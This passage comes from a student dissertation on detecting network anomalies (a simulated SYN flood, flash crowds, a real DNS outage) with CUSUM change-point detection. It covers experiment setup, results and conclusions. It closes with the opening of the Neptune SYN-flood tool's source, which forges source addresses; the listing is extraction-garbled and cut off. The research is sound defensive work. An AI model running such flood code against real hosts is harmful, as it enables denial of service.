and FTP requests to one machine. At about the thirty minute mark, the FTP will begin
to increase quickly before reaching a plateau, then slowly decreasing back to normal
levels. The HTTP and ICMP requests per time period will remain static throughout
the simulation, as only the FTP server will be experiencing the flash crowd event.
Keeping these requests static will provide a good benchmark to test the change point
detector, as no changes should be detected for the static protocols.
The purpose of this simulation is to produce a change in IP protocol traffic rather than
IP address traffic. The response of this simulation should quite similar to the first
simulation, when the flow rates for each IP protocol are examined.
5.4 DNS Server Anomaly Experiment
This experiment will check for changes in a computer network, that apply when a DNS
server is not responding. The effect of a such an anomaly is that users would not be
able to connect to external servers using the Domain Name System (DNS), which is
the main method used when connecting to servers over the Internet.
To perform the analysis on this anomaly a packet trace data set is required. Unlike the
other anomalies, this type of anomaly is difficult to simulate on the virtual network.
Considering the difficulty in obtaining good test data for this experiment, the decision
was made to force a real DNS error on an actual ADSL connection. This could be
achieved two ways, wait for the DNS server to drop out or edit the modem settings to
point to a non-existent DNS server.
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Anomaly Metrics for Change Detector
SYN Flood Attack SYN flags/sample
ACK flags/sample
SYN/ACK Ratio
Flash Crowd Event 1 Packets per IP address.
Flash Crowd Event 2 Packets per IP/TCP protocol.
DNS Failure Packets per IP/TCP protocol.
Table 5.1: The data that will be used from each simulation.
5.5 State Change (Anomaly) Detection
Once the simulations have been run and the packet data saved, the change detector can
be tested against the resulting data sets. The main outcomes from the experiments is
to test whether the points in the time series where the behaviour of the traffic changed
can be detected. A number of data properties from the flow data will be examined, to
determine a good change detection method.
The properties that will be of interest are the moving average, rate of change of the
moving average and the standard deviation of the samples. The moving average and
standard deviation will be calculated over a set window. Window sizes of 50, 100 and
200 will be trialled, to see the different responses of each variable.
The moving average and rate of change of the moving average will then be fed into
the cumulative sum (CUSUM) algorithm. Each response of the CUSUM can then
be examined to determine which variable produces the most effective change point
response. The response should be able to clearly show where the behaviour of the
network has changed during the various stages of the events. The responses will also
be examined for the frequency of false positives.
Table 5.1 below shows each simulation and the data from each test that will be used
in the change detection.
The purpose of this approach is to try a few different techniques and understand how
5.6 Disadvantages of Analysis Overall Traffic Flow 38
they respond to the input data. The end result should be a robust algorithm for
detecting changes in computer networks.
5.6 Disadvantages of Analysis Overall Traffic Flow
It must be noted that at this point, for the simulations presented, the changes could
be detected by simply using the overall traffic flow. However using the overall traffic
flow has its disadvantages.
The main disadvantage is the target of the attack/event and the type of attack/event
would not be able to determined using the overall flow. For example, the DOS attack
could be detected using the overall traffic flow, but the type of attack and its charac-
teristics would be known. With a SYN flood attack, it could be identified by a high
proportion of packets with SYN flags, and the victim machine could be identified by
analysing the individual IP address traffic.
For effective and precise anomaly detection, characteristics of the traffic must be iden-
tified and each type of traffic analysed separately.
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5.7 Chapter Summary
The simulations and experiments were discussed in some detail in this chapter. The
experiments were designed in such a fashion as to test out the capabilities of the change
detector when applied to different situations. The data that will be processed by the
change point detector was also covered in this chapter. This chapter also discussed the





This chapter will delve into the execution of the simulations explained in earlier chap-
ters and discuss the difficulties and challenges encountered. Four experiments will be
conducted, to test different network events and possible variations of those events. The
main purpose of this chapter is to detail the steps taken to complete the experiments
to verify the simulations and the change point detector.
6.2 DOS (Denial of Service) Attack
To carry out the simulation for the SYN flood attack, simple network traffic flow was set
up. The traffic consisted of some basic ARP requests, HTTP requests, FTP requests
and ICMP requests. Spurious UDP traffic was also transmitted across the network.
This situation was maintained for a period of time until the SYN flood program was
started. The SYN flood program ran for a period of time, then it was stopped, putting
the traffic flow back into its normal state. The simulation was run over a period of
approximately 15 minutes, while real attacks generally last much longer, the shortened
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attack was deemed adequate to show changes in state from normal to attack and back
to normal again.
6.3 Flash Crowd Anomaly
To run the two experiments for the flash crowd anomaly, two separate simulations
were required to be executed. The first simulation is to focus on detecting changes in
IP address traffic, while the second is designed to invoke changes in the traffic over
different TCP protocols. Both simulations were run over 15 hours and involved four
virtual machines.
6.3.1 Saving the Packet Traces and Priming the Data
Due to the length of the capture for this experiment, there were issues experienced with
the packet capture software, tshark. It appears that on the test PC, tshark would run
out of memory after processing approximately 3 million packets. Due to this limitation
the packet trace files had to be split up into smaller files. This command was used on
the host only virtual network interface to initiate the packet capture:
$ sudo tshark -i vboxnet0 -a duration:54000 -b duration:9000
-w flashcrowd6.dump
The ”sudo” command is essential as typically only the superuser (root) has access to
the network interfaces on Linux-based operating systems.
To perform the signal processing on the data, the packet traces, needed to be filtered
and analysed by tshark. For the simulation that created a change in the flow of traffic
over different IP addresses, the packet traces needed to be split up into separate files,
so that the traffic to and from each IP address was separated. Once the packet trace
was split up, the resultant files needed to be analysed to extract the packets and bytes
transmitted per time period. This data was extracted and saved to a CSV file, to be
processed by the signal processing filter.
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For the simulation that changed the traffic being transmitted over certain protocols, a
different approach was taken to getting the data into a format, that could be processed
by the filter.
6.4 DNS Server Anomaly
The execution of this experiment was very opportunistic and the capture was performed
on the host machine’s physical network. This capture provided a good data to test the
change detection system. The only issue with the data capture is that the capture was
started after the DNS failure occurred, so the initial state change when the failure first
occurred will be missing.
It was decided that this was suitable because although the first state change would not
be available, the two states would be still present in the packet trace. The two states
expected would be the DNS failure state and the normal functioning state.
6.5 Issues Experienced
There were a few issues encountered during the running of the simulations and data
collection. The main issues were software bugs with the simulators, calibration of the
simulators, capturing the network traffic and creating ambient traffic.
As expected, the SYN flood and flash crowd simulations did not work as desired the first
time they ran. A number of attempts were made at running the simulations prior to
producing the output discussed in chapter 7. As the SYN flood simulator was supplied,
it was able to be run correctly on the first attempt. The flash crowd simulator, being
written for this project required some amount of debugging and calibration to produce
a satisfactory simulation.
The early simulations were performed with virtually zero ambient traffic being trans-
mitted across the network. The resultant packet traces were deemed to be unsuitable
because apart from the event being simulated, no traffic was being transmitted.
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To create some ambient traffic, the code from the flash crowd simulator was used to
create a steady flow of legitimate traffic. The code was modified so that the simulator
stayed in constant mode for the duration of the simulation. Two versions were made,
one for FTP requests and the other for HTTP requests.
The next issue to resolve was the packet capture software crashing from running out
of memory. This was solved by splitting the packet traces up into parts, at set time
intervals.
6.6 Using the Signal Processing System
Prior to the traffic flow data being processed through the change detection software,
the noise must first be removed from the signal. To achieve the noise removal, a simple
mean filter will be used, which is suitable for this application as raw signal is being
processed, not a video or audio signal.
The output from the traffic analysis system created CSV files containing a number of
columns each. Each column contained a metric to process, each row contained the
metrics for each time sample. Therefore, the change detector was run on each column
in the CSV files, some columns contained data that reacted the network event, some
did not. The reason behind this was to test the change detector against changing data
and static data. The some examples of the input data can be seen in tables 6.1, 6.2
and 6.3.
Table 6.1, is an example of the output from the TCP flag analysis software, which will
be used to detect changes for SYN flood simulation. An example of the output from
the IP address analysis is shown in table 6.2. The final sample table, table 6.3 is an
example of the CSV file that would be created from the protocol analysis program.
The input files described were processed through the change detector, which created
a new set of outputs for each column encountered in the file. This set of outputs
contained the critical variables used by the change detector and will be used to evaluate
the performance of the change detector. This part will be discussed in chapter 7.
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Table 6.1: Example TCP Flag CSV file to be processed by the change detection system.






Table 6.2: Example IP address CSV file to be processed by the change detection system.
ICMP Packets HTTP Packets FTP Packets DNS Packets
0 0 0 0
345 248 34 10
401 150 51 11
... ... ... ...
17 45 10 32
Table 6.3: Example TCP protocol CSV file to be processed by the change detection system.
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6.7 Chapter Summary
This chapter discussed the execution and problems experienced with the simulations
and subsequent data capture. The SYN flood simulation was quite simple to execute,
as the simulator was supplied and required little calibration. The flash crowd simulator
on the other hand required a couple of attempts at the simulation before a useful data
set could be produced.
A very relevant issue with using an isolated test network, was experienced as well during
the simulation. The test network had very little ambient traffic being transmitted. This
was due to the fact, that the network was isolated from other networks and all traffic
was essentially controlled by the tester. To get around this, a HTTP server was set
up that accepted requests from the other machines, scheduled tasks were created that
performed general network tests and traffic generators were used. This lesson is an




Now that the experiments have been completed, the results can now be compiled and
analysed. The purpose of this chapter is to examine the results at various stages of the
experiments, with the goal to verify the simulations, verify the data processing software
and most importantly, verify the change point detection system.
Firstly the output from each simulation/test will be discussed, the output will be
presented graphically by displaying the input data to change point detector for each
test. Then the output data from the change point detector will discussed. The output
from the change detector includes, moving averages, standard deviation and rates of
change of the moving average, as the system scanned through the input time series.
7.2 DOS Attack Results
The Denial of Service, SYN flood simulator, worked as expected. The simulator was set
up to target the standard FTP port of a machine with a running FTP server. During
the attack, when attempts were made to connect to the FTP server, the connections
took significantly longer to initiate than under normal conditions. The breakdown of
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SYN Flood Simulation (Packet/sample vs Sample)













Figure 7.1: Graph showing the traffic flow rate for the SYN Flood DOS attack simulation.
Flow is sampled at 1 sample per second.
the SYN, ACK, and FIN is shown in figure 7.1.
After inspection of the breakdown of the presence of SYN, ACK and FIN flags, as
expected during the SYN Flood attack, the number of SYN flags per sample increased
significantly. The occurrences of the FIN and ACK flags remained steady through out
the simulation. The change point detector should pick up at least two state transitions,
for the SYN flag data.
The ACK/SYN flag ratio was also a variable of interest in this experiment, figure
7.3 shows the movement of the ratio over the simulation. Predictably, the ratio gets
extremely close to zero for the duration of the SYN flood attack. This would appear to
be a simple, computationally efficient method to detect a SYN flood attack, the system
would just need to check that the ratio stays above one. The results suggest that is,
but however this technique would only be able to detect anomalies between the SYN
and ACK flag presence.
7.3 Flash Crowd Results
The first stage of examining the results is inspecting the statistical output from the
packet traces. As it can be seen from figures 7.4 and 7.6, the responses are close to
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SYN Flood Simulation (Packet/sample vs Sample)













Figure 7.2: Graph showing the mean filtered traffic flow rate for the SYN Flood DOS attack






































































SYN Flood Simulation (ACK/SYN Ratio vs Sample)












Figure 7.3: Graph showing the mean filtered ACK/SYN ratio for the SYN Flood DOS
attack simulation. Flow is sampled at 1 sample per second.

























































































Flash Crowd Simulation 1













Figure 7.4: Graph showing the traffic flow rate for the first flash crowd simulation. Flow
is sampled at 1 sample per minute.
the actual flash crowd event shown in figure 4.2. This has verified that the flash crowd
simulator works as expected. The output clearly shows the network moving through
three states during the flash crowd event. The first state, lasts from sample zero to
sample thirty, which can be called the ‘normal’ state. The second state, ‘flash crowd’,
is after the exponential growth of the traffic plateaus, the third state occurs after the
traffic flow returns to the first state. So therefore, the change point detector should
recognise at least two state transitions.
The function of the flash crowd simulator has now been verified, so now the performance
of the change point detector can evaluated for each simulation.
7.3.1 Flash Crowd Simulation 1
Figures 7.4 and 7.5 show the before and after effects of the simple noise reduction filter
that was applied to the output from the packet trace analyser. As it can be seen the
noise has been reduced significantly and is in a good format to be processed by the
change detection software.

























































































Flash Crowd Simulation 1 (after mean filter)













Figure 7.5: Graph showing the mean filtered traffic flow rate for the first flash crowd
simulation. Flow is sampled at 1 sample per minute.
7.3.2 Flash Crowd Simulation 2
The focus on the second flash crowd simulation was to focus on the change in individual
IP protocols rather than IP addresses. Figures 7.6 and 7.7, show both the non-mean
filtered response and mean filtered response for the second flash crowd simulation. A
logarithmic scale was used for these graphs, so that the packets per sample could be
shown in a clear fashion.
The protocol breakdown shows that there was definitely an increase in FTP packets
during the flash crowd, a similar increase is also experienced in the overall TCP packets
transmitted during the simulation. The TCP protocol is a level higher than the FTP
and HTTP protocols and therefore the TCP figures shown in the graph encompass all
TCP packets. Given this result, the second flash simulation has effectively modelled a
change in frequency between different IP/TCP protocols.
7.4 DNS Server Anomaly Results
The data set for this experiment was actually captured from real network traffic, being
transmitted across a home network. This was somewhat opportunistic capture, as
the actual DNS server for the Internet Service Provider (ISP) was not responding.
















































































Flash Crowd Simulation 2



















Figure 7.6: Graph showing the traffic flow rate for the second flash crowd simulation. Flow
















































































Flash Crowd Simulation 2 (mean filtered)



















Figure 7.7: Graph showing the mean filtered traffic flow rate for the second flash crowd
simulation. Flow is sampled at 1 sample per minute.



















































































DNS Problem Data (Packet/sample vs sample)














Figure 7.8: Graph showing the traffic flow rate for the DNS server anomaly simulation.
Flow is sampled at 2 samples per minute.
Therefore no manipulation of the network was required for this capture. Figure 7.8
shows the resultant data set from the experiment.
As the resultant protocol breakdown shows, the DNS server was malfunctioning at the
very start of the data set and comes back online at about the 250th sample or minute
125. During the outage, it can be seen that the frequency of HTTP packets is very
low, while the DNS requests are the dominant IP protocol being transmitted. It must
be noted though, only the protocols of interest are displayed in figure 7.8. When the
DNS server comes back online, the number of DNS requests drop and the HTTP packet
transmission increases.
This result, provided evidence that there is a relationship between HTTP to DNS
requests and the functioning of the DNS server.
7.5 Signal Processing Results
Now that the output from the simulations and the packet analysis system has been
verified, the results from the change point detector can be discussed. The change point
detection software is still somewhat in its infancy, but it still produced good results.
Discussion about the improvements that can be made to the system, will be reserved


















































































DNS Problem Data (Packet/sample vs sample)














Figure 7.9: Graph showing the mean filtered traffic flow rate for the DNS server anomaly
simulation. Flow is sampled at 2 samples per minute.
for the next chapter though.
The following sections will discuss the results for each of the experiments. The metrics
of interest will be examined along their responses to the CUSUM algorithm, points at
which the change detector first picked up a change in behaviour and the states that
were captured.
7.5.1 SYN Flood Denial of Service Attack
The metrics of interest in this experiment were the presence of the SYN and ACK flags
in the packets at each sampling interval. Figures 7.10 and 7.11, show the positive and
negative CUSUM responses for the input time series.
The CUSUM responses for the SYN flood event are pleasing, as the positive CUSUM
starts to get a response at the point that the attack commences at approximately
sample 144. The negative change detection CUSUM, has large reaction at about the
1000th sample, which if compared with figure 7.2, is the point at which the SYN flood
attack is stopped. Therefore the CUSUM algorithm has successfully detected the two
change points for the simulation.
The next step is to check the states detected by the change detector. After the change
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Positive CUSUM Response (CUSUM vs Sample)








Figure 7.10: Graph showing the positive cumulative sum response for the SYN and ACK
packets during the SYN Flood simulation.





















































Negative CUSUM Response (CUSUM vs Sample)








Figure 7.11: Graph showing the negative cumulative sum response for the SYN and ACK
packets during the SYN Flood simulation.
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detector is run, the states that were detected are output to the terminal. The output
for the SYN and ACK flag states is shown below.
SYN Flag:
Total States = 5
#1: mean = 3.108 stddev = 1.30591
#2: mean = 2.874 stddev = 1.13801
#3: mean = 2912.49 stddev = 401.256
#4: mean = 2791.69 stddev = 501.709
#5: mean = 2828.22 stddev = 522.392
ACK Flag:
Total States = 6
#1: mean = 13.018 stddev = 4.41346
#2: mean = 22.605 stddev = 16.1281
#3: mean = 19.963 stddev = 14.2046
#4: mean = 19.769 stddev = 14.7844
#5: mean = 20.047 stddev = 14.5928
#6: mean = 19.083 stddev = 13.3874
Inspection of figure 7.2, would suggest that for the SYN flag data, at most three states
should be detected, however five states were detected. A closer look at the state in-
formation, suggests that although five states were saved, only two real states were
actually encountered. While superfluous states were saved, the performance of the
change detector is pleasing as it was able to detect the state changes and save good
state information.
With some refinement of the state detection code in the change detector, this result
could be easily improved. The code would need to checked first for the presence of
errors, the number of samples for the system to remain static for could be extended
and a section to remove duplicate states could be implemented. For a non-real time
application, the results are still good.


















































































Positive CUSUM Response (CUSUM vs Sample)








Figure 7.12: Graph showing the positive cumulative sum response for packets transmitted
with IP addresses 192.169.56.101 and 192.169.56.102 during the first flash crowd simulation.
7.5.2 Flash Crowd Event 1
While their were two simulations for this network anomaly, they were executed two
different ways to demonstrate different ways a flash crowd may occur. For the second
simulation, large traffic spikes were inserted into the simulation in an attempt to reveal
a weakness in the change point detector. The traffic spikes can be seen clearly in figure
7.6.
The CUSUM responses for the first simulation were almost perfect. Figures 7.12 and
7.13, show two clear spikes on the increasing and decreasing section of the simulation.
Unlike the SYN flood attack the change in state for the flash crowd is not an instant
transition, rather the transition occurs over many samples. The traffic increases sharply
and decreases steadily, so the CUSUM spikes should be wider for the flash crowd events.
The spike in the positive CUSUM starts at approximately the 40-50th samples and
ceases at approximately sample 170. If this spike is compared to the positive state
transition in figure 7.5, the transition appears to commence at sample 30 and com-
pletes at approximately sample 158. This result is exactly what is required, as the
CUSUM indicates a changing state and therefore should be responding during the
entire transition period.



















































































Negative CUSUM Response (CUSUM vs Sample)








Figure 7.13: Graph showing the negative cumulative sum response for packets transmitted
with IP addresses 192.169.56.101 and 192.169.56.102 during the first flash crowd simulation.
For the negative CUSUM, the result was not expected to be as accurate as the positive
CUSUM, because the negative state change is more gradual than the positive change.
Figure 7.13 shows that the negative started responding at sample 326 and ceased at
sample 458. The simulation data in figure 7.5 indicates that the negative transition
didn’t finish until about sample 758. This result was expected, as the change is so
gradual that rate of change of the moving average would very low at the end of the
state transition. The result is still impressive, as both state changes were successfully
detected. The terminal output below shows the state detected for both IP addresses
graphed in figures 7.5, 7.12 and 7.13.
192.168.56.101:
Total States = 6
#1: mean = 440.943 stddev = 391.092
#2: mean = 553.575 stddev = 499.057
#3: mean = 713.658 stddev = 629.931
#4: mean = 11640.4 stddev = 128.147
#5: mean = 11604.6 stddev = 107.828
#6: mean = 11585.6 stddev = 132.975
192.169.56.102:
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Total States = 23
#1: mean = 232.972 stddev = 22.1138
#2: mean = 233.11 stddev = 22.4308
#3: mean = 227.928 stddev = 26.2395
#4: mean = 225.89 stddev = 27.3783
#5: mean = 224.62 stddev = 27.9512
#6: mean = 225 stddev = 31.9404
#7: mean = 224.078 stddev = 31.8349
#8: mean = 230.264 stddev = 33.3233
#9: mean = 232.12 stddev = 33.9475
#10: mean = 233.448 stddev = 33.9046
#11: mean = 233.318 stddev = 34.033
#12: mean = 229.338 stddev = 32.5321
#13: mean = 228.508 stddev = 31.5247
#14: mean = 223.02 stddev = 30.0272
#15: mean = 223.64 stddev = 30.8916
#16: mean = 223.724 stddev = 31.606
#17: mean = 224.194 stddev = 30.6558
#18: mean = 224.216 stddev = 30.638
#19: mean = 225.298 stddev = 30.6507
#20: mean = 222.872 stddev = 32.3051
#21: mean = 223.638 stddev = 31.4301
#22: mean = 223.878 stddev = 31.0943
#23: mean = 221.872 stddev = 32.6222
The state detection code suffered the same issues as for the SYN flood states, however
it can be seen that for 192.169.56.101, which was the victim of the flash crowd, two
distinct states were encountered. For the machine at IP 192.169.56.102, for which the
traffic remained static during the simulation, only one distinct state was encountered,
although 23 near-identical states were saved.



















































































Positive CUSUM Response (CUSUM vs Sample)








Figure 7.14: Graph showing the positive cumulative sum response for the FTP and HTTP
packets transmitted during the second flash crowd simulation.
7.5.3 Flash Crowd Event 2
The second flash crowd simulation was a different in two way than the first one, firstly
it focussed on type of TCP request being targeted and secondly large traffic spikes
were inserted into the simulation at various stages. This produced a vastly different
response to the positive and negative CUSUM algorithms, than the first simulation.
The respective responses for the second simulation are shown in figures 7.14 and 7.15.
The first, short lived spike on the positive CUSUM for the FTP data in figure 7.14 was
caused by the traffic spikes discussed above, this seemed to dampen the response to the
actual flash crowd event. The CUSUM didn’t respond to the traffic until approximately
sample 74, upon inspection of figure 7.7, the actual event commenced at sample 30. The
response ended at sample 146, when compared to figure 7.7, it indicates the transition
ceased at sample 110. It appears as though the spikes have been affected the response
of the positive CUSUM.
The negative CUSUM response appears to be much cleaner and concise, when compared
to the positive response. The main response for the FTP data commenced at sample
338 and ceased at sample 446. Figure 7.7, indicates that actual decrease transition
started at sample 326 and ended at about sample 590. The negative CUSUM response
was very similar to that of the first simulation, the start of state change was detected


















































































Negative CUSUM Response (CUSUM vs Sample)








Figure 7.15: Graph showing the negative cumulative sum response for the FTP and HTTP
packets transmitted during the second flash crowd simulation.
accurately, however the end of the change was not detect as effectively. The detected
states are shown below.
HTTP Packets:
Total States = 5
#1: mean = 138.946 stddev = 5.62289
#2: mean = 135.978 stddev = 5.25072
#3: mean = 136.282 stddev = 5.5159
#4: mean = 143.088 stddev = 10.157
#5: mean = 149.848 stddev = 22.74
FTP Packets:
Total States = 5
#1: mean = 313.925 stddev = 23.2343
#2: mean = 1596.54 stddev = 1391.77
#3: mean = 3018.38 stddev = 2407.72
#4: mean = 6065.94 stddev = 431.067
#5: mean = 6134.69 stddev = 457.853
Processing complete.
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Positive CUSUM Response (CUSUM vs Sample)









Figure 7.16: Graph showing the positive cumulative sum response for the DNS and HTTP
packets transmitted during the DNS failure experiment.
As expected the data for the HTTP protocol only experienced one actual state, although
five states were saved. Interestingly the data for the FTP protocol showed four distinct
states that it encountered. State one would be the normal state. The second and third
were probably created by the temporary spike at the beginning of the simulation, due
to their high standard deviations. The fourth state is the flash crowd state.
7.5.4 DNS Failure
The final data set to processed by the change point detector was the DNS server
failure data set. This data set was unique as the number of requests or packets wasn’t
artificially increased by a simulator, the same number of requests were made from
start to finish. There were no expectations on what the results should be for this test,
apart from that when the DNS came back online, the number of DNS should decrease.
Figures 7.16 and 7.17 show the cumulative sum response to the data set shown in figure
7.9.
The positive CUSUM response for the DNS failure test was quiet compared to the
negative response, so small peaks were experienced at the beginning and end of the
samples. The HTTP protocol positive CUSUM response did react when the DNS
server can back online. This result matches up with what should be expected, because
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Negative CUSUM Response (CUSUM vs Sample)









Figure 7.17: Graph showing the negative cumulative sum response for the DNS and HTTP
packets transmitted during the DNS failure experiment.
there was no actual increase in traffic and the HTTP traffic should slightly increase
once the DNS server comes back online. It would have been good to have the data for
the beginning of the failure, as the positive CUSUM would have shown an increase in
the DNS requests at time of failure.
When the DNS server came back online, the negative CUSUM for the DNS requests
showed a clear response. This indicates that number DNS requests has dropped off.
The number of requests dropped off, as the server started responding once more and
therefore the PC did not need to send repeated requests through.
DNS Requests:
Total States = 10
#1: mean = 188.115 stddev = 9.85094
#2: mean = 188.2 stddev = 10.0233
#3: mean = 187.815 stddev = 9.92187
#4: mean = 44.204 stddev = 8.15949
#5: mean = 45.115 stddev = 8.08978
#6: mean = 44.265 stddev = 6.08043
#7: mean = 44.36 stddev = 6.09843
#8: mean = 43.393 stddev = 5.47719
#9: mean = 45.542 stddev = 5.52182
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#10: mean = 44.13 stddev = 5.13254
HTTP Requests:
Total States = 3
#1: mean = 8.921 stddev = 0.753349
#2: mean = 9.079 stddev = 1.86517
#3: mean = 8.925 stddev = 0.75897
The state detector two unique states for the DNS request data and one unique state
for the HTTP data. The two states for the DNS data is a good result, as figure 7.9
suggests that the DNS request data had two distinct modes of operation. How ever, it
was expected that the HTTP data might experience two states as well. Upon inspection
of figure 7.9, it can be seen why only state was detected, once the DNS server came
back online, there was a slight change in HTTP traffic, but it couldn’t be termed a
state change.
Overall, the DNS results verified that change point detector was effective in showing
the changes from an error state to a normal state.
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7.6 Chapter Summary
This critical chapter in the dissertation, delved into the resultant data from the sim-
ulations and how the change point detector reacted to the data. Overall, the network
anomaly simulations produced good data which appeared to model the actual real life
anomalies. The change point detection system performed very well, the CUSUM algo-
rithms gave crisp responses at the points at which the network conditions changed. The
state detection system, did have some issues but was able to save good state information
to clearly show the different states encountered though-out the simulations.
The results presented in this chapter have verified that the change point detection and
state detection system has worked. So essentially signal processing techniques have
been used to detect network anomalies successfully. If this simple system were refined
and the modules were put together to create a full system, a simple, easy to implement
state change detector, could be created.
Chapter 8
Conclusions and Further Work
8.1 Chapter Overview
The purpose of this paper was to detect anomalies in computer networks using signal
processing techniques. The preceding chapters, have detailed the work required to
create a method to detect anomalies, create test data, analyse the test data and finally
verify the algorithm has worked. After reading back through this paper, it can be
said that the aim that set out to be achieved by this work has been met. Chapter 7,
provides the evidence that anomalies in computer networks have been detected. The
two main signal processing techniques used were a custom Cumulative Sum algorithm
and a state detection system.
Now that the core aim has been achieved, some reflection must be done. The purpose of
this reflection is to identify shortcomings, suggest improvements and provide direction
for further work to be done in this area. The next part of this chapter will discuss what
objectives were achieved and how they were achieved.
8.2 Achievement of Project Objectives
The following objectives have been addressed:
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Research Computer Network Anomalies Chapter ?? Explained what computer
network anomalies were, techniques covered in previous papers and also delved
into some network theory.
Identify Signal Processing Techniques This aspect was covered by researching
past methods, and identifying that the Cumulative Sum technique inside of a
change point detector, would be an appropriate method to detect network anoma-
lies.
Create Basic Data Capture Software Chapter 4 covered the design and use of
software to capture the data and get it into a format that could be used by the
change point detection system.
Design and Execute Experiments Chapters 5 and 6 explained the design and ex-
ecution of the experiments.
Evaluate Performance of Signal Processing Techniques Used The performance
of the signal processing techniques used in this work was covered in Chapter ??.
8.3 Shortcomings and Possible Improvements
Like any piece of work, there are many shortcomings and improvements that could be
made. The main problems were, the lack of real packet traces from actual anomalies
to analyse, the virtual network could have been more complex and the change point
detector duplicated states.
To really test the change point detector created for this paper, it needs to process some
real-life anomaly data. This would confirm that it works in the real world, or at least
allow the system to be improved so that it processes real data effectively. Having real
world data would have been great, however due to packet traces containing every piece
of data that gets transmitted, serious privacy and commercial in-confidence issues arise
from using real world data.
To improve this situation, the University network administrators could be contacted to
arrange for a capture and subsequent cleansing of some network traffic. The cleansing
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of the traffic would be a difficult balance between leaving private information in the
traces and removing too much data, so that traffic could not be broken down into its
different characteristics.
The complexity of the virtual network was both limited to the time available for set
up and the physical hardware available. A more complex test network would have
provided more avenues to simulate network anomalies. The number of machines that
could be run with reasonable performance at any one time was five, as each machine
required use of the physical Central Processing Unit (CPU) and RAM. To improve
this a more powerful host machine could be used, ideally a server built to run virtual
machine would be used. However using a VM server is very costly and most likely
outside of the budget for this type of work.
The final major shortcoming of this work, was the state detection capabilities of the
change point detector. While it detected the states effectively, it was not so good at
identifying previous states and thus created duplicate states. This could be fixed by
a state cleaning module, to check the defined states for duplication and remove the
duplicates. This solution however, is simply covering up an existing problem. The
state detection algorithm would need to be examined to design some modifications to
make the algorithm more reliable.
8.4 Further Work
There is a large amount of future work that could be done in this area. The more
interesting directions would be extending the analysis done in the project to analyse
more than one characteristic at a time, or implementing a real-time change detection
system based on this work.
The idea of using hybrid analysis is quite simple, the traffic would be filtered on many
characteristics, like the IP address and TCP protcol. Using this more refined method,
would improve the anomaly detection capabilities immensely. The end result would be
able to detect a DOS flood attack on a specific port on a specific machine. The DOS
attack could then be identified using the data in the IP and TCP headers in the attack
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packets. To achieve this, the state models would need to be extended to store more
than one metric’s worth of information. This was definitely a direction that was being
pursued throughout this work.
The other piece of further work that could be done, is implementing this system in
a real-time situation. As the detection performed in this paper was post mortem, a
worthy future outcome would be a real-time change point and state detector. This
work poses challenges such as getting all the processing done in time for the next lot
of samples and sharing data between multiple parallel threads of execution. This was
something that envisaged in the early stages of the project.
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B.1 Introduction to this Appendix
This appendix contains the source code listings for the simulation programs used in
this paper.
B.2 synflood.c Source Code Listing
Listing B.1: Program to simulate DOS SYN Flood attack.
/∗
∗ Modif ied by Dan Forsberg at 3 . 1 9 9 8 . Made i t a b i t s imp ler
and
∗ e a s i e r to use . // Dan . Forsberg@ik i . f i∗
∗ Mainly removed the menu system and a u t h o r i t i v e user
c o n f i g u r a t i o n f i l e .∗
∗/
/∗ Neptune v . 1 . 5 .
daemon9/ route / i n f i n i t y
June 1996 Guild pr odu c t io ns
comments to daemon9@netcom . com I f you found t h i s code alone ,
w i thout
the companion whi tepaper p l e a s e g e t the rea l−d e a l :
f t p . i n f o n e x u s . com/pub/ SourceAndShel l / Guild /Route/ P r o j e c t s /
Neptune/ neptune . t g z
B r i e f s y n o p s i s : Floods the t a r g e t ho s t wi th TCP segments wi th
the SYN
b i t on , p u p o r t e d l y from an unreachab le ho s t . The re turn
address in the
IP header i s f o r g e d to be t h a t o f a known unreachab le ho s t .
The
a t t a c k e d TCP, i f f l o o d e d s u f f i c e n t l y , w i l l be unab le to
respond to
f u t h e r connects . See the accompanying whi tepaper f o r a f u l l
t reatment
o f the t o p i c . ( Also see my paper on IP−s p o o f i n g f o r
in format ion on a
r e l a t e d s u b j e c t . )
USAGE: neptune
−s u n r e a c h a b l e h o s t
−t t a r g e t h o s t
−p por t [−8 ( i n f i n i t y s w i t c h ) ]
−a amount of SYNs
Gripes : I t would appear t h a t f l o o d i n g a h os t on every por t (
wi th the
i n f i n i t y s w i t c h ) has i t ’ s drawbacks . So many p a c k e t s are
t r y i n g to
make t h e i r way to the t a r g e t host , i t seems as though many are
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dropped , e s p e c i a l l y on e t h e r n e t s . Across the I n t e r n e t , though ,
the
problem appears most ly m i t i g a t e d . The c a l l to u s l e e p appears
to f i x
t h i s . . . Coming up i s a por t scanning opt ion t h a t w i l l f i n d
open
p o r t s . . .
Version His tory : 6/17/96 be ta1 : SYN f l o o d i n g , Cmd l i n e and
crude menu ,
ICMP s t u f f broken 6/20/96 be ta2 : B e t t e r menu , improved SYN
f l o o d i n g ,
ICMP f i x e d . . . s o r t a 6/21/96 be ta3 : Be t t e r menu s t i l l , f i x e d
SYN f l o o d
c l o g g i n g problem Fixed some name−l ookup problems 6/22/96 be ta4
: Some
loop o p t im iza t io n , ICMP s o c k e t s t u f f changed , ICMP code f i x e d
6/23/96
1 . 0 : F i r s t r e a l v e r s i o n . . . 6/25/96 1 . 1 : Cleaned up some s t u f f ,
added
a u t h e n t i c a t i o n hooks , f i x e d up input r o u t i n e s t u f f 7/01/96
1 . 5 : Added
daemonizing r o u t i n e . . .
This coding p r o j e c t made p o s s i b l e by a grant from the Guild
c o r p o r a t i o n
∗/
#include <s t d i o . h>
#include <s t d l i b . h>
#include <s t r i n g . h>
#include <s y s l o g . h>
#include <pwd . h>
#include <uni s td . h>
#include <n e t i n e t / in . h>
#include <arpa / i n e t . h>
#include <netdb . h>
#include <sys / socket . h>
#include <sys / i o c t l . h>
#include < f c n t l . h>
#include <time . h>
#include <s i g n a l . h>
#include <l i nux / ip . h>
#include <l i nux / tcp . h>











void main ( argc , argv )
int argc ;
B.2 synflood.c Source Code Listing 77
char ∗argv [ ] ;
{
void usage ( char ∗) ;
void menu( int , char ∗) ;
void f l o o d ( int , unsigned , unsigned , u short , int ) ;
unsigned nameResolve (char ∗) ;
int authent i ca t e ( int , char ∗) ;
unsigned unreachable , t a r g e t ;
int c , port , amount , sock1 , fd ; struct passwd ∗passEnt ;
char t [ 2 0 ] , u [ 2 0 ] ;
/∗ Open up a RAW s o c k e t ∗/
i f ( ( sock1=socket (AF INET ,SOCK RAW,IPPROTO RAW) )<0){
per ro r ( ”\nHmmm. . . . s ocke t problems\n” ) ;
e x i t (1 ) ;
}
i f ( argc==1){
usage ( argv [ 0 ] ) ;
e x i t (0 ) ;
}
/∗ Parse command−l i n e arguments ∗/
